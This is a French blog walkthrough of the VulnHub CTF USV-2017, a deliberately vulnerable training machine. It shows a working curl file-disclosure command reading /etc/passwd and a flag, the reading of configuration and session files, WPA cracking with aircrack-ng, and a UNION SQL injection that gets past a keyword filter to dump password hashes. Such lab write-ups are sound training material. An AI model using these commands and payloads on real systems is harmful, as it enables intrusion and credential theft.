Accueil Solution du CTF USV-2017 de VulnHub
Post
Annuler

Solution du CTF USV-2017 de VulnHub

Ce CTF disponible sur VulnHub a été initialement créé par l’Université de Suceava (Roumanie) et la société Safetech Innovations.

Le challenge était destiné à des étudiants. Même s’il n’était pas d’un grand niveau technique, il était sympa à faire avec la recherche de 5 flags différents portant des noms de pays.

Italie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
Nmap scan report for 192.168.2.2
Host is up (0.00022s latency).
Not shown: 65522 closed ports
PORT      STATE    SERVICE    VERSION
21/tcp    open     ftp        ProFTPD 1.3.5b
22/tcp    open     ssh        OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp    open     http       Apache httpd
|_http-title: Site doesn't have a title (text/html).
4369/tcp  open     epmd       Erlang Port Mapper Daemon
| epmd-info: 
|   epmd running on port 4369
|_  name ejabberd at port 44843
5222/tcp  open     jabber     ejabberd (Protocol 1.0)
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     unknown: 
| 
|     compression_methods: 
| 
|     errors: 
|       host-unknown
|       host-unknown
|       (timeout)
|     auth_mechanisms: 
| 
|     xmpp: 
|       lang: en
|       server name: localhost
|       version: 1.0
|     stream_id: 18195429015329401171
|     capabilities: 
| 
|_    features: 
5269/tcp  open     jabber     ejabberd
| xmpp-info: 
|   Ignores server name
|   info: 
|     xmpp: 
|       version: 1.0
|     capabilities: 
| 
|   pre_tls: 
|     xmpp: 
| 
|     capabilities: 
| 
|     features: 
|       TLS
|   post_tls: 
|     xmpp: 
| 
|_    capabilities: 
5280/tcp  open     xmpp-bosh?
15020/tcp open     http       Apache httpd
|_http-title: 400 Bad Request
16821/tcp filtered unknown
42893/tcp filtered unknown
44843/tcp open     unknown
46760/tcp filtered unknown
57440/tcp filtered unknown
MAC Address: 08:00:27:C5:25:00 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: Host: localhost; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Les points qui sautent aux yeux sont la présence d’au moins deux ports web et la présence de services XMPP.

Quand on se rend sur le port 80 on est rapidement mis dans le thème du challenge, à savoir l’utilisation des Minions qui nous demandent de libérer l’un des leurs.

Un dirbuster plus tard on trouve le dossier /admin2/ qui demande un mot de passe.

Derrière ce formulaire se cache le code Javascript suivant :

1
2
3
4
var _0xeb5f=["\x76\x61\x6C\x75\x65","\x70\x61\x73\x73\x69\x6E\x70","\x70\x61\x73\x73\x77\x6F\x72\x64","\x66\x6F\x72\x6D\x73","\x63\x6F\x6C\x6F\x72","\x73\x74\x79\x6C\x65","\x76\x61\x6C\x69\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x67\x72\x65\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x49\x74\x61\x6C\x79\x3A","\x72\x65\x64","\x49\x6E\x63\x6F\x72\x72\x65\x63\x74\x21"];
function validate(){var _0xb252x2=123211;var _0xb252x3=3422543454;var _0xb252x4=document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];var _0xb252x5=md5(_0xb252x4);_0xb252x4+= 4469;_0xb252x4-= 234562221224;_0xb252x4*= 1988;_0xb252x2-= 2404;_0xb252x3+= 2980097;
if(_0xb252x4== 1079950212331060){document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[8];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[10]+ _0xb252x5}
else {document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[11];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[12]};return false}

Avec un peu de déobfuscation on obtient alors le code suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_0xeb5f = [
  'value',
  'passinp',
  'password',
  'forms',
  'color',
  'style',
  'valid',
  'getElementById',
  'green',
  'innerHTML',
  'Italy:',
  'red',
  'Incorrect!'
]

function validate() {
  var _0xb252x2=123211;
  var _0xb252x3=3422543454;
  var _0xb252x4 = document['forms']['password']['passinp']['value'];
  var _0xb252x5=md5(_0xb252x4);
  _0xb252x4+= 4469;
  _0xb252x4-= 234562221224;
  _0xb252x4*= 1988;
  _0xb252x2-= 2404;
  _0xb252x3+= 2980097;

  if(_0xb252x4== 1079950212331060) {
    document['getElementById']('valid')['style']['color']= 'green';
    document['getElementById']('valid')['innerHTML']= 'Italy:' + _0xb252x5
  } else {
    document['getElementById']('valid')['style']['color']= 'red';
    document['getElementById']('valid')['innerHTML']= 'Incorrect!';
  }
  return false
}

On comprend vite que si on veut obtenir le flag de l’Italie il faut que la variable _0xb252x4 vaille 1079950212331060.

On serait tenté de se dire qu’il suffit de faire le calculer l’inverse à savoir (1079950212331060 / 1988) + 234562221224 - 4469 pour le rentrer dans le formulaire et obtenir le flag.

Sauf que la première addition réalisée est en réalité une concaténation. Du coup au lieu de saisir ce que l’on pensait d’abord être 777796730000 il faut rentrer 77779673 ce qui nous donne le flag suivant :

Italy:46202df2ae6c46db8efc0af148370a78

Croatie

Cette fois, on se rend sur le port 15020 (Apache en HTTPS), on lance à nouveau un dirbuster et on trouve les dossiers suivants :

1
2
https://192.168.2.2:15020/blog/
https://192.168.2.2:15020/vault/

La première adresse parle d’elle-même, la seconde est une arborescence bien chargée où chaque dossier a un nombre important de sous dossiers.

J’ai décidé de me concentrer d’abord sur le blog. Ce dernier a des liens cassés, mais globalement le format d’URL pour les articles est le suivant :

1
https://192.168.2.2:15020/blog/post.php?id=3

En particulier ici on tombe sur le journal de Kevin. En commentaire de l’article on peut lire I keep a flag.txt in my house et commenté dans le code HTML se trouve une référence à download.php.

Le script download.php nous retourne l’erreur ‘image’ parameter is empty. Please provide file path in ‘image’ parameter.

Si on passe la variable image en paramètre, même résultat. Il faut donc envoyer le paramètre par POST (en gros via formulaire pour les non-initiés).

Avec la commande suivante, on peut donc récupérer le flag présent dans le dossier personnel de Kevin :

1
curl -X POST https://192.168.2.2:15020/blog/download.php --data "image=/home/kevin/flag.txt" -k

Croatia: e4d49769b40647eddda2fe3041b9564c

J’en profite pour récupérer le fichier /etc/passwd dont voici un extrait :

1
2
3
4
teo:x:1000:1000:teo,,,:/home/teo:/bin/bash
kevin:x:1001:1001::/home/kevin:
ejabberd:x:111:114::/var/lib/ejabberd:/bin/sh
oana:x:1002:1002::/home/oana:

En dehors de kevin les deux autres utilisateurs n’ont pas de shell définit. On a aussi un path pour le serveur jabber au cas où.

Et on remarque via /etc/group que teo est le seul utilisateur intéressant :

1
2
3
4
5
6
7
8
cdrom:x:24:teo
floppy:x:25:teo
audio:x:29:teo
dip:x:30:teo
video:x:44:teo
plugdev:x:46:teo
netdev:x:108:teo
teo:x:1000:

Philippines

J’ai décidé de fouiller du côté de la configuration Apache. Au lieu d’écrire un n-ième script Python j’ai choisi d’utiliser ZAP en faisant d’abord transiter une requête bidon via le proxy intercepteur qui nous servira de template pour un fuzzing via dictionnaire.

Dans ZAP on fait un click-droit sur la requête puis Attaquer puis Générer du bruit. On sélectionne ensuite la valeur bidon de la requête initiale et on la définie comme zone de fuzzing.

Il faut ensuite sélectionner un dictionnaire contenant des paths de fichiers intéressants (j’en ai un perso, mais ça peut se trouver sur le web).

ZAP generate noise location

Quand le fuzz a fini on fait un simple tri sur la taille des pages retournées ce qui nous permet de trouver le bon path pour la config d’Apache.

ZAP fuzzing results

On en déduit facilement le chemin (heureusement celui par défaut) pour le sites-enabled : /etc/apache2/sites-enabled/000-default.conf contenant le DocumentRoot (/var/www/html).

Pas mal, mais ce qui nous intéresse, c’est surtout la configuration pour la partie SSL du site qui nous permettrait de fouiller par exemple dans le fichier /blog/admin/login.php.

À la mano et après quelques essais rapides, je trouve le bon chemin : /etc/apache2/sites-enabled/default-ssl.conf. Ce fichier a quelques infos comme :

1
2
3
DocumentRoot /var/www/ssl
SSLCertificateFile /etc/ssl/localcerts/apache.pem
SSLCertificateKeyFile /etc/ssl/localcerts/apache.key

J’en profite pour lire le contenu du code PHP pour le blog et dans le fichier /var/www/ssl/blog/admin/index.php je trouve un autre flag :

Philippines: 551d3350f100afc6fac0e4b48d44d380

Il s’avère a posteriori que je n’étais pas censé trouver ce flag comme ça… encore un Kansas City Shuffle involontaire :p

Le fichier /var/www/ssl/blog/classes/db.php est celui qui contient les identifiants SQL :

1
2
3
4
5
6
<?php

    $lnk = mysql_connect("localhost", "mini", "password000");
    $db = mysql_select_db('blog', $lnk);

?>

Mais de tous ceux que j’ai dumpé, le plus prometteur était /var/www/ssl/blog/admin/edit.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php                                                                                                                                                                                                                                         
  require("../classes/auth.php");                                                                                                                                                                                                             
  require("header.php");                                                                                                                                                                                                                      
require("../classes/fix_mysql.php");
  require("../classes/db.php");
  require("../classes/phpfix.php");
  require("../classes/post.php");

$sql = strtolower($_GET['id']);
  $sql = preg_replace("/union select|union all select|sleep|having|count|concat|and user|and isnull/", " ", $sql);
$post = Post::find($sql);
//  if (isset($_POST['title'])) {
//    $post->update($_POST['title'], $_POST['text']);
//  } 
?>

  <form action="" method="POST" enctype="multipart/form-data">
    Title: 
    <input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
    Text: 
      <textarea name="text" cols="80" rows="5">
        <?php echo htmlentities($post->text); ?>
       </textarea><br/>

    <input type="submit" name="Update" value="Update">

  </form>

<?php
  require("footer.php");

?>

avec la fonction find() utilisée :

1
2
3
4
5
6
7
8
function find($id) {
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
        $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;
}

On a ici une faille SQL protégée à la va vite par le retrait de certains mots clés. Le truc, c’est qu’on ne peut pas accéder directement au script, car classes/auth.php nous bloque l’accès en vérifiant l’authentification :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
  session_start();
  require('../classes/fix_mysql.php'); 
  require('../classes/db.php'); 
  require('../classes/user.php'); 
  require_once '../classes/securimage/securimage.php';

  if (isset($_POST["user"]) and isset($_POST["password"]) ) {
    $image = new Securimage();
    if ($image->check($_POST['captcha_code']) == true) {
        //      echo "Correct!";
    } else {
        echo "Sorry, wrong code.";
        header( 'Location: login.php' ) ;
        die();
    }
  }

  if (isset($_POST["user"]) and isset($_POST["password"]) )
    if (User::login($_POST["user"],$_POST["password"]))  
      $_SESSION["admin"] = User::SITE;

  if (!isset($_SESSION["admin"] ) or $_SESSION["admin"] != User::SITE) {
    header( 'Location: login.php' ) ;
    die();
  }
?>

Évidemment les identifiants vus plus tôt ne permettent pas l’accès à la section admin… et la présence du captcha Securimage rend compliqué le brute force des identifiants… mais pas impossible.

Je m’explique : on a accès aux fichiers du serveur avec les droits d’Apache. Les données liées au cookies sont stockées au format JSON sur le serveur du coup si Securimage stocke la valeur attendue d’un captcha dans un cookie, on peut la retrouver dans le bon fichier de session.

Il nous faut d’abord retrouver le chemin des sessions PHP défini dans le fichier de configuration… à retrouver aussi, ce qui n’est pas bien difficile quand on sait à quel distrib on a affaire : /etc/php/7.0/apache2/php.ini.

Les lignes qui nous intéressent le plus :

1
2
3
allow_url_fopen = On                                                                                                   
allow_url_include = Off
;session.save_path = "/var/lib/php/sessions"

Certes le chemin est commenté, mais c’est celui par défaut. Je vois avec EditMyCookie que mon identifiant de session PHPSESSID est mvmt1duldlu7fvrs5jm38hpel0. Dès lors je dumpe le contenu du fichier /var/lib/php/sessions/sess\_mvmt1duldlu7fvrs5jm38hpel0 :

1
securimage_code_disp|a:1:{s:7:"default";s:6:"reDMGY";}securimage_code_value|a:1:{s:7:"default";s:6:"redmgy";}securimage_code_ctime|a:1:{s:7:"default";i:1519726037;}securimage_code_audio|a:1:{s:7:"default";N;}

Bingo ! Je retrouve bien le code attendu par le Securimage (reDMGY) donc je pourrais brute-forcer le formulaire de login moyennant une requête intermédiaire…

Mais avant de faire un second Kansas City Shuffle :’D je préfère voir ailleurs s’il n’y a pas un autre moyen d’accéder à cette section admin.

Au pire je perds un peu de temps et l’article s’enrichit de cette approche originale :)

Laos

Il est temps de se pencher sur le dossier vault et tout son bazar. La méthode la plus simple consiste à tout récupérer via wget :

1
wget --recursive --no-parent  https://192.168.2.2:15020/vault/ --no-check-certificate

Puis de chercher les fichiers qui ne sont pas les index :

1
find . -type f ! -name "*index*"

Ce qui nous amène deux fichiers :

1
2
./192.168.2.2:15020/vault/Door222/Vault70/ctf.cap                                                                                                                                                                                             
./192.168.2.2:15020/vault/Door223/Vault1/rockyou.zip

Ouvert avec Wireshark le fichier cap est une capture d’un trafic 802.11 (wifi) quant à rockyou c’est la wordlist bien connue… Il faut donc lancer aircrack-ng à l’aide de ces deux fichiers :

1
aircrack-ng -w rockyou.txt ctf.cap

Et ça tombe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                                 Aircrack-ng 1.2 beta3

                   [00:34:56] 3448372 keys tested (1674.08 k/s)

                          KEY FOUND! [ minion.666 ]

      Master Key     : CA 8E A6 F3 BB 7F 29 CD D9 F8 91 43 CC 26 2D B6
                       8C 1A 05 1A 39 67 94 5A 60 81 E6 6F FF 91 0F 28

      Transient Key  : 9E DD C0 66 D0 3B 99 A5 9F 41 D6 F9 40 95 55 04
                       B1 87 ED 42 24 1A A2 6C B3 C5 36 D2 62 46 AB 28
                       92 D6 09 8D B8 69 23 C7 EB 2E 01 0E CB BB 40 36
                       6F 11 68 CC 99 80 DF 36 FC 8D 8A 48 50 88 F9 C1

      EAPOL HMAC     : FB C1 48 13 17 D1 EA 23 FE CF 93 52 97 0B 83 4A

Avec le password WPA ainsi obtenu je m’attendais à trouver quelque chose d’utile dans le trafic déchiffré… mais rien à voir.

Et là les identifiants admin / minion.666 permettent l’accès à l’administration du blog :p

C’était donc à ce moment-là que j’aurais dû obtenir le flag des Philippines.

La substitution en place pour la protection SQL est plutôt facile à passer. Ainsi si on place deux espaces entre union et select ça passe :

1
/blog/admin/edit.php?id=10%20union%20%20select%201,2,user(),3;

L’utilisateur MySQL courant est mini@localhost et la base blog mais on le sait déjà. Il faut fouiller dans la classe PHP User pour savoir où fouiller :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User {
  const SITE= "BLOG";
  function login($user, $password) {
    $sql = "SELECT * FROM users where login=\"";
    $sql.= mysql_real_escape_string($user);
    $sql.= "\" and password=md5(\"";
    $sql.= mysql_real_escape_string($password);
    $sql.= "\")";
    $result = mysql_query($sql);
    if ($result) {
      $row = mysql_fetch_assoc($result);
      if ($user === $row['login']) {
        return TRUE;
      }
    }
    else 
      echo mysql_error();
    return FALSE;
    //die("invalid username/password");
  }
}
?>

On part alors sur l’injection union select 1,login,password,3 from users where id=1 pour obtenir le premier utilisateur du blog puis on incrémente :

admin / 8ae100f50c9bbcfeb2ab87b72a03273d

Laos / 66c578605c1c63db9e8f0aba923d0c12

Gotcha !

On aura pu se servir de sqlmap pour dumper le contenu des bases, mais écrire un tamper script pour si peu… bof.

France

Le seul flag restant est la France… c’est ballot.

Quand il y a plusieurs flags à trouver il y en a un généralement caché… juste devant nous. Ça n’a pas raté :

1
2
3
4
5
$ openssl s_client -connect 192.168.2.2:15020
CONNECTED(00000003)
depth=0 C = FR, ST = Paris, L = Paris, O = CTF, CN = a51f0eda836e4461c3316a2ec9dad743, emailAddress = ctf@root.local
verify error:num=18:self signed certificate
verify return:1

Finish

Voilà, pas de boot2root ici, ce qui laisse un peu sur la faim. J’ai fouillé dans la conf jabber (/etc/default/ejabberd, /etc/ejabberd/ejabberd.yml, /etc/ejabberd/modules.d) sans rien trouver d’intéressant. Je pense que ces services étaient juste destinés à laisser les participants communiquer durant l’exercice.

Published March 09 2018 at 18:33

Cet article est sous licence CC BY 4.0 par l'auteur.